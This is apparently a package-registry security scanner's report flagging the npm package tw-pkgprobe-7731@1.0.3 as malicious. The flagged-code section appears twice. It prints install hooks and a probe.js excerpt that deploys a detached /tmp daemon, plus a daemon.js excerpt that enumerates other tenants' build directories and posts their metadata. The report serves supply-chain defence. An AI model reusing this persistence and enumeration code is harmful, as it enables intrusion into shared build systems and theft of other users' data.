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tw-pkgprobe-7731@1.0.3: Malicious npm security report (Block) | LPM Firewall

registry / tw-pkgprobe-7731 / 1.0.3

tw-pkgprobe-7731@1.0.3

Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.

AI Security Review

scanned 17h ago · by lpm-firewall-ai

Install-time code persists a detached daemon that scans shared temporary build directories. The daemon exfiltrates discovered build metadata and conditionally injects a package into other build trees.

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall or postinstall

Impact

Unauthorized monitoring of co-resident build tenants, outbound metadata disclosure, and mutation of selected build dependencies.

Mechanism

detached sandbox scanner, webhook exfiltration, and cross-build node_modules injection

Attack narrative

On installation, the package conditionally copies and detaches a daemon in /tmp. That daemon repeatedly enumerates tenant-like directories belonging to identities other than its hard-coded self identifier, posts observed account/service/package metadata to a webhook endpoint, and writes a new dependency package into build directories whose account identifier matches its embedded allowlist. The runtime guard and claimed research purpose do not remove the unconsented install-time persistence, cross-tenant discovery, and exfiltration behavior.

Rationale

This is concrete install-time persistence and data exfiltration, with conditional cross-build dependency mutation. The package's research framing and sandbox guard do not make these actions safe for npm consumers.

Evidence

package.jsonprobe.jsdaemon.js/tmp/.npm-helper.js/tmp/.npm-helper.pid/tmp/.npm-helper.ver/tmp/.helper-log.jsonnode_modules/injected-by-other-tenant/package.jsonnode_modules/injected-by-other-tenant/index.js

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "preinstall": "node ./probe.js || true", "postinstall": "node ./probe.js || true" }

High

Suspicious Lifecycle Evidence

preinstall and postinstall execute probe.js.

package.jsonView on unpkg · L7

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

probe.jsView file

11try{ const oldpid=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(oldpid) process.kill(oldpid,'SIGKILL'); }catch(e){} fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js'); const c=cp.spawn(process.execPath,['/tmp/.npm-helper.js'],{detached:true,stdio:'ignore',cwd:'/tmp'}); c.unref(); fs.writeFileSync('/tmp/.npm-helper.pid',String(c.pid)); fs.writeFileSync('/tmp/.npm-helper.ver',VER);

High

Suspicious Lifecycle Evidence

Install hook deploys a detached six-hour daemon in /tmp.

probe.jsView on unpkg · L11

daemon.jsView file

30let dirs=[]; try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;} for(const ac of dirs){ if(ac===SELF) continue; let svcs=[];try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){} for(const zs of svcs){ let pkgs=[];try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){} for(const zf of pkgs){ if(zf.indexOf('.tar')>=0) continue; const key=ac+'/'+zs+'/'+zf; if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}

High

Ai Review Evidence

Daemon enumerates other tenant-like /tmp build directories.

daemon.jsView on unpkg · L30

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "preinstall": "node ./probe.js || true", "postinstall": "node ./probe.js || true" }

High

Suspicious Lifecycle Evidence

preinstall and postinstall execute probe.js.

package.jsonView on unpkg · L7

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

probe.jsView file

11try{ const oldpid=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(oldpid) process.kill(oldpid,'SIGKILL'); }catch(e){} fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js'); const c=cp.spawn(process.execPath,['/tmp/.npm-helper.js'],{detached:true,stdio:'ignore',cwd:'/tmp'}); c.unref(); fs.writeFileSync('/tmp/.npm-helper.pid',String(c.pid)); fs.writeFileSync('/tmp/.npm-helper.ver',VER);

High

Suspicious Lifecycle Evidence

Install hook deploys a detached six-hour daemon in /tmp.

probe.jsView on unpkg · L11

daemon.jsView file

30let dirs=[]; try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;} for(const ac of dirs){ if(ac===SELF) continue; let svcs=[];try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){} for(const zs of svcs){ let pkgs=[];try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){} for(const zf of pkgs){ if(zf.indexOf('.tar')>=0) continue; const key=ac+'/'+zs+'/'+zf; if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}

High

Ai Review Evidence

Daemon enumerates other tenant-like /tmp build directories.

daemon.jsView on unpkg · L30